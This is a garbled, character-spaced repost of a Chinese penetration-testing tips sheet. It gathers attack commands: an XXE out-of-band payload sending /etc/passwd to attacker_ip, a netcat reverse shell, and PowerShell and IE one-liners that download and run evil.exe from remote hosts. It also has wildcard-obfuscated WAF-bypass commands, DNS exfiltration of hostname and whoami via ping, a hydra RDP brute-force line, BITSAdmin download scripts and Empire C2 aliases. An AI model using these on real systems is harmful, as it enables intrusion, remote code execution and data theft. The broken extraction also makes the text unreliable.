[22295] 2021-08-28_渗透测试中常见的小TIPS总结和整理

文档创建者:s7ckTeam
浏览次数:5
最后更新:2025-01-18
2021-08-28_渗透测试中常见的小TIPS总结和整理 T I P S   L e m o n S e c   2 0 2 1 - 0 8 - 2 8 T i p s X X E X X E   P a y l o a d : < ? x m l   v e r s i o n = " 1 . 0 " ? > < ! D O C T Y P E   f o o   S Y S T E M   " h t t p : / / a t t a c k e r _ i p : p o r t / x x e . d t d " > < f o o > & e 1 ; < / f o o > x x e . d t d : F i l e   E x f i l t r a t i o n   o v e r   H T T P : < ! E N T I T Y   %   p 1   S Y S T E M   " f i l e : / / / e t c / p a s s w d " > < ! E N T I T Y   %   p 2   " < ! E N T I T Y   e 1   S Y S T E M   ' h t t p : / / a t t a c k e r _ i p : p o r t / r e s ? % p 1 ; ' > " > % p 2 ; F i l e   E x f i l t r a t i o n   o v e r   F T P : < ! E N T I T Y   %   p 1   S Y S T E M   " f i l e : / / / e t c / p a s s w d " > < ! E N T I T Y   %   p 2   " < ! E N T I T Y   e 1   S Y S T E M   ' f t p : / / a t t a c k e r _ i p : p o r t / % p 1 ; ' > " > % p 2 ; : x x e - f t p - s e r v e r . r b X X E i n j e c t o r X X E S E R V     A   m i n i   w e b s e r v e r   w i t h   F T P   s u p p o r t   f o r   X X E   p a y l o a d s O X M L _ X X E     A   t o o l   f o r   e m b e d d i n g   X X E / X M L   e x p l o i t s   i n t o   d i f f e r e n t   f i l e t y p e s ,   e . g . D O C X / X L S X / P P T X / X M L / P D F / J P G / G I F / S V G / O D T ,   e t c .
d o c k e r   p u l l   a v f i s h e r d o c k e r / o x m l _ x x e : t e s t d o c k e r   r u n   - d   - p   8 0 : 4 5 6 7   a v f i s h e r d o c k e r / o x m l _ x x e : t e s t D e m o : h t t p s : / / g i t h u b . c o m / v u l h u b / v u l h u b / t r e e / m a s t e r / s o l r / C V E - 2 0 1 7 - 1 2 6 2 9 - X X E h t t p s : / / p e n t e s t e r l a b . c o m / e x e r c i s e s / p l a y _ x x e h t t p s : / / p e n t e s t e r l a b . c o m / e x e r c i s e s / p l a y _ x x e / c o u r s e h t t p s : / / g i t h u b . c o m / c 0 n y 1 / x x e - l a b : h t t p s : / / c h e a t s h e e t s e r i e s . o w a s p . o r g / c h e a t s h e e t s / X M L _ E x t e r n a l _ E n t i t y _ P r e v e n t i o n _ C h e a t _ S h e e t . h t m l : h t t p s : / / b l o g . z s e c . u k / b l i n d - x x e - l e a r n i n g / h t t p s : / / b l o g . z s e c . u k / o u t - o f - b a n d - x x e - 2 / h t t p : / / l a b . o n s e c . r u / 2 0 1 4 / 0 6 / x x e - o o b - e x p l o i t a t i o n - a t - j a v a - 1 7 . h t m l F u l l   D i s c l o s u r e :   X X E   i n   W e C h a t   P a y   S d k   (   W e C h a t   l e a v e   a   b a c k d o o r   o n   m e r c h a n t   w e b s i t e s ) E m p i r e d o c k e r L i n u x   V P S M a c ~ / . b a s h r c a l i a s : #   E m p i r e   d o c k e r   c o m m a n d a l i a s   e m p i r e _ s t a r t = ' d o c k e r   e x e c   - i t   $ ( d o c k e r   r u n   - d   - p   8 0 : 8 0   e m p i r e p r o j e c t / e m p i r e )   p y t h o n 2 . 7   e m p i r e ' a l i a s   e m p i r e _ s t o p = ' d o c k e r   k i l l   $ ( d o c k e r   p s   |   g r e p   e m p i r e   |   c u t   - d   "   "   - f   1 ) ' 使 a l i a s s o u r c e   ~ / . b a s h r c e m p i r e e m p i r e _ s t a r t :   e m p i r e
e m p i r e _ s t o p :   e m p i r e L i n u x S h e l l L i n u x R C E n e t c a t s h e l l - e L i n u x n e t c a t - e n e t c a t ( U b u n t u n c . o p e n b s d ) 访 - e n c . t r a d i t i o n a l U b u n t u a p t - g e t   i n s t a l l   n e t c a t - t r a d i t i o n a l   - y s h e l l n c . t r a d i t i o n a l   - n v   [ l i s t e n e r   i p ]   [ l i s t e n e r   p o r t ]   - e   / b i n / b a s h C e n t o s / R H E L 使 - e n e t c a t y u m   i n s t a l l   n c   - y W i n d o w L i n u x W i n d o w s h t t p : / / w w w . s p l o i t s p r e n . c o m / 2 0 1 8 - 0 1 - 2 6 - W i n d o w s - P r i v i l e g e - E s c a l a t i o n - G u i d e / L i n u x h t t p s : / / b l o g . g 0 t m i 1 k . c o m / 2 0 1 1 / 0 8 / b a s i c - l i n u x - p r i v i l e g e - e s c a l a t i o n / W i n d o w s h t t p s : / / e v i 1 c g . m e / a r c h i v e s / r e m o t e _ e x e c . h t m l I E P E s t a r t   i e x p l o r e . e x e   h t t p : / / < a t t a c k e r   i p > / e v i l - p e . j p g   &   p i n g   l o c a l h o s t   - n   5   &   t a s k k i l l   / f   / i m   i e x p l o r e . e x e   &   f o r   / f   " d e l i m s = "   % a   i n   ( ' d i r   c : * e v i l - p e [ 1 ] . j p g   / s   / b ' )   d o   ( c m d . e x e   / c   " % a "   &   d e l   " % a " ) L i v i n g   O f f   T h e   L a n d   B i n a r i e s   a n d   S c r i p t s   ( a n d   a l s o   L i b r a r i e s ) h t t p s : / / l o l b a s - p r o j e c t . g i t h u b . i o / #
G i t h u b :   h t t p s : / / g i t h u b . c o m / L O L B A S - P r o j e c t / L O L B A S W A F h t t p s : / / m e d i u m . c o m / s e c j u i c e / w a f - e v a s i o n - t e c h n i q u e s - 7 1 8 0 2 6 d 6 9 3 d 8 I P h t t p : / / w w w . s m a r t c o n v e r s i o n . c o m / u n i t _ c o n v e r s i o n / I P _ A d d r e s s _ C o n v e r t e r . a s p x L i n u x ? * : / b i n / l s     / ? ? ? / ? s / b i n / c a t   / e t c / p a s s w d     / ? ? ? / ? ? t   / ? ? ? / ? ? s s ? ? / b i n / n c   1 2 7 . 0 . 0 . 1   1 3 3 7     / ? ? ? / n ?   2 1 3 0 7 0 6 4 3 3   1 3 3 7 I P v 4 l o n g 1 2 7 . 0 . 0 . 1     2 1 3 0 7 0 6 4 3 3 P o w e r S h e l l h t t p s : / / g i t h u b . c o m / s a m r a t a s h o k / n i s h a n g h t t p s : / / c a n a r y t o k e n s . o r g / g e n e r a t e h t t p : / / c e y e . i o / r e c o r d / i n d e x L i n u x p i n g   ` h o s t n a m e ` . a v f i s h e r . w i n p i n g   ` i d ` . a v f i s h e r . w i n p i n g   $ ( w h o a m i ) . a v f i s h e r . w i n
W i n d o w s : c m d   / c   f o r   / f   % x   i n   ( ' h o s t n a m e ' )   d o   p i n g   - n   1   % x . a v f i s h e r . w i n c m d   / c   f o r   / f   % x   i n   ( ' w h o a m i ' )   d o   p i n g   - n   1   % x . a v f i s h e r . w i n p i n g   % U S E R N A M E % . a v f i s h e r . w i n   - n   1 h y d r a 3 3 8 9 h y d r a   - l   l o g i n   - P   p a s s w o r d . t x t   1 9 2 . x x x . x x x . x x x   r d p   l o g i n p a s s w o r d . t x t   1 9 2 . x x x . x x x . x x I P w g e t l i n u x 西 f i r e f o x s e a m o n k e y w g e t w g e t - c   使 - r   , - n p   - k   便 - L   - p   # w g e t   - c   - r   - n p   - k   - L   - p   h t t p : / / w w w . k u q i n . c o m / i t m a n / l i y a n h o n g / P o w e r S h e l l P o w e r S h e l l   w i n o d w s 使 w i n d o w s   2 0 0 3 I n t e r n e t $ p   =   N e w - O b j e c t   S y s t e m . N e t . W e b C l i e n t $ p . D o w n l o a d F i l e ( " h t t p : / / d o m a i n / f i l e "   " C : % h o m e p a t h % f i l e " ) P S   C : >   . t e s t . p s 1 P o w e r S h e l l 使
C : > p o w e r s h e l l   s e t - e x e c u t i o n p o l i c y   u n r e s t r i c t e d P o w e r S h e l l c m d   / c   p o w e r s h e l l   ( N e w - O b j e c t   S y s t e m . N e t . W e b C l i e n t ) . D o w n l o a d F i l e ( ' h t t p : / / < i p > / < f i l e > ' , ' e v i l . e x e ' ) ; & e v i l . e x e P o w e r S h e l l e c h o   $ s t o r a g e D i r = $ p w d   >   w g e t . p s 1 e c h o   $ w e b c l i e n t = N e w - O b j e c t   S y s t e m . N e t . W e b C l i e n t   > > w g e t . p s 1 e c h o   $ u r l = " h t t p : / / r e m o t e _ i p / e v i l . e x e "   > > w g e t . p s 1 e c h o   $ f i l e = " n e w - e x p l o i t . e x e "   > > w g e t . p s 1 e c h o   $ w e b c l i e n t . D o w n l o a d F i l e ( $ u r l , $ f i l e )   > > w g e t . p s 1 p o w e r s h e l l . e x e   - E x e c u t i o n P o l i c y   B y p a s s   - N o L o g o   - N o n I n t e r a c t i v e   - N o P r o f i l e   - F i l e   w g e t . p s 1 B I T S A d m i n B I T S A d m i n w i n d o w s h t t p s : / / m s d n . m i c r o s o f t . c o m / e n - u s / l i b r a r y / w i n d o w s / d e s k t o p / a a 3 6 2 8 1 3 % 2 8 v = v s . 8 5 % 2 9 . a s p x 使 b i t s a d m i n   / t r a n s f e r   m y D o w n l o a d J o b   / d o w n l o a d   / p r i o r i t y   n o r m a l   h t t p : / / d o w n l o a d s r v / 1 0 m b . z i p   c : 1 0 m b . z i p B I T S A d m i n s h e l l @ E C H O   O F F : :   N A M E : :   B i t s - D o w n l o a d . c m d : : : :   S Y N O P S I S : :   D o w n l o a d s   a   r e m o t e   f i l e   w i t h   B I T S . : : : :   S Y N T A X
: :   S Y N T A X : :   B i t s - D o w n l o a d   r e m o t e _ u r l   l o c a l _ n a m e : : : :   D E T A I L E D   D E S C R I P T I O N : :   T h e   B i t s - D o w n l o a d . c m d   b a t c h   f i l e   u s e s   B I T S   t o   d o w n l o a d : :   t h e   g i v e n   r e m o t e   f i l e .   B i t s - D o w n l o a d . c m d   r e q u i r e s   t h e : :   B I T S   A d m i n   U t i l i t y   B i t s a d m i n . e x e . : : : :   N O T E S : :   B i t s - D o w n l o a d . c m d   w a s   d e v e l o p e d   a n d   t e s t e d   o n   W i n d o w s   V i s t a . : : : :   A U T H O R : :   F r a n k - P e t e r   S c h u l t z e : : : :   D A T E : :   0 0 : 1 8   2 1 . 0 7 . 2 0 0 8 S E T L O C A L   I F   " % 2 " = = " "   (     T Y P E   " % ~ f 0 "   |   f i n d s t r . e x e   / R   " ^ : : "     G O T O   : E N D   )   S E T   b i t s _ j o b = b i t s % R A N D O M %   S E T   r e m o t e _ u r l = " % ~ 1 "   I F   N O T   D E F I N E D   r e m o t e _ u r l   (     E C H O   % ~ n 0   :   C a n n o t   b i n d   a r g u m e n t   t o   p a r a m e t e r   ' r e m o t e _ u r l '   b e c a u s e   i t   i s   e m p t y .     G O T O   : E N D   )   S E T   l o c a l _ n a m e = " % ~ 2 "   I F   N O T   D E F I N E D   l o c a l _ n a m e   (     E C H O   % ~ n 0   :   C a n n o t   b i n d   a r g u m e n t   t o   p a r a m e t e r   ' l o c a l _ n a m e '   b e c a u s e   i t   i s   e m p t y .     G O T O   : E N D   )
  ( S E T   / P   r e m o t e _ u s e r = U s e r   n a m e   ^ ( l e a v e   e m p t y   i f   n o t   r e q u i r e d ^ ) :   )   I F   D E F I N E D   r e m o t e _ u s e r   ( S E T   / P   r e m o t e _ p a s s = P a s s w o r d :   )   b i t s a d m i n . e x e   / C R E A T E   / D O W N L O A D   % b i t s _ j o b %   b i t s a d m i n . e x e   / A D D F I L E   % b i t s _ j o b %   % r e m o t e _ u r l %   % l o c a l _ n a m e %   b i t s a d m i n . e x e   / S E T N O T I F Y C M D L I N E   % b i t s _ j o b %   " % S y s t e m R o o t % s y s t e m 3 2 b i t s a d m i n . e x e "   " % S y s t e m R o o t % s y s t e m 3 2 b i t s a d m i n . e x e   / C O M P L E T E   % b i t s _ j o b % "   I F   D E F I N E D   r e m o t e _ u s e r   I F   D E F I N E D   r e m o t e _ p a s s   (     b i t s a d m i n . e x e   / S E T C R E D E N T I A L S   % b i t s _ j o b %   S E R V E R   B A S I C   % r e m o t e _ u s e r %   % r e m o t e _ p a s s %   )   b i t s a d m i n . e x e   / R E S U M E   % b i t s _ j o b % : E N D E N D L O C A L B i t s - D o w n l o a d . c m d ,   使 B i t s - D o w n l o a d   [ r e m o t e _ u r l ]   [ l o c a l _ n a m e ] h t t p : / / w w w . o u t - w e b . n e t / ? p = 1 5 1 J e n k i n s   H a c k i n g h t t p s : / / w w w . s e c p u l s e . c o m / a r c h i v e s / 2 1 6 6 . h t m l h t t p s : / / x z . a l i y u n . c o m / t / 3 0 2 1 h t t p s : / / w w w . c r o w d s t r i k e . c o m / b l o g / y o u r - j e n k i n s - b e l o n g s - t o - u s - n o w - a b u s i n g - c o n t i n u o u s - i n t e g r a t i o n - s y s t e m s / J S P   w e b s h e l l 4 0 3 J S P w e b s h e l l 4 0 3 w e b . x m l 访 J S P s t r u t s 2 w e b . x m l < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 " ? > < w e b - a p p   i d = " W e b A p p _ 9 "   v e r s i o n = " 2 . 4 "   x m l n s = " h t t p : / / j a v a . s u n . c o m / x m l / n s / j 2 e e "                   x m l n s : x s i = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a - i n s t a n c e "
                  x m l n s : x s i = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a - i n s t a n c e "                   x s i : s c h e m a L o c a t i o n = " h t t p : / / j a v a . s u n . c o m / x m l / n s / j 2 e e   h t t p : / / j a v a . s u n . c o m / x m l / n s / j 2 e e / w e b - a p p _ 2 _ 4 . x s d " >         < d i s p l a y - n a m e > S t r u t s   B l a n k < / d i s p l a y - n a m e >         < f i l t e r >                 < f i l t e r - n a m e > s t r u t s 2 < / f i l t e r - n a m e >                 < f i l t e r - c l a s s > o r g . a p a c h e . s t r u t s 2 . d i s p a t c h e r . n g . f i l t e r . S t r u t s P r e p a r e A n d E x e c u t e F i l t e r < / f i l t e r - c l a s s >         < / f i l t e r >         < f i l t e r - m a p p i n g >                 < f i l t e r - n a m e > s t r u t s 2 < / f i l t e r - n a m e >                 < u r l - p a t t e r n > / * < / u r l - p a t t e r n >         < / f i l t e r - m a p p i n g >         < w e l c o m e - f i l e - l i s t >                 < w e l c o m e - f i l e > i n d e x . h t m l < / w e l c o m e - f i l e >         < / w e l c o m e - f i l e - l i s t >         < ! - -   R e s t r i c t s   a c c e s s   t o   p u r e   J S P   f i l e s   -   a c c e s s   a v a i l a b l e   o n l y   v i a   S t r u t s   a c t i o n   - - >         < s e c u r i t y - c o n s t r a i n t >                 < d i s p l a y - n a m e > N o   d i r e c t   J S P   a c c e s s < / d i s p l a y - n a m e >                 < w e b - r e s o u r c e - c o l l e c t i o n >                         < w e b - r e s o u r c e - n a m e > N o - J S P < / w e b - r e s o u r c e - n a m e >                         < u r l - p a t t e r n > * . j s p < / u r l - p a t t e r n >                 < / w e b - r e s o u r c e - c o l l e c t i o n >                 < a u t h - c o n s t r a i n t >                         < r o l e - n a m e > n o - u s e r s < / r o l e - n a m e >                 < / a u t h - c o n s t r a i n t >         < / s e c u r i t y - c o n s t r a i n t >         < s e c u r i t y - r o l e >                 < d e s c r i p t i o n > D o n ' t   a s s i g n   u s e r s   t o   t h i s   r o l e < / d e s c r i p t i o n >
                < r o l e - n a m e > n o - u s e r s < / r o l e - n a m e >         < / s e c u r i t y - r o l e > < / w e b - a p p > w e b . x m l         < ! - -   R e s t r i c t s   a c c e s s   t o   p u r e   J S P   f i l e s   -   a c c e s s   a v a i l a b l e   o n l y   v i a   S t r u t s   a c t i o n   - - >         < s e c u r i t y - c o n s t r a i n t >                 < d i s p l a y - n a m e > N o   d i r e c t   J S P   a c c e s s < / d i s p l a y - n a m e >                 < w e b - r e s o u r c e - c o l l e c t i o n >                         < w e b - r e s o u r c e - n a m e > N o - J S P < / w e b - r e s o u r c e - n a m e >                         < u r l - p a t t e r n > * . j s p < / u r l - p a t t e r n >                 < / w e b - r e s o u r c e - c o l l e c t i o n >                 < a u t h - c o n s t r a i n t >                         < r o l e - n a m e > n o - u s e r s < / r o l e - n a m e >                 < / a u t h - c o n s t r a i n t >         < / s e c u r i t y - c o n s t r a i n t > - - -           c t f 线 线
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则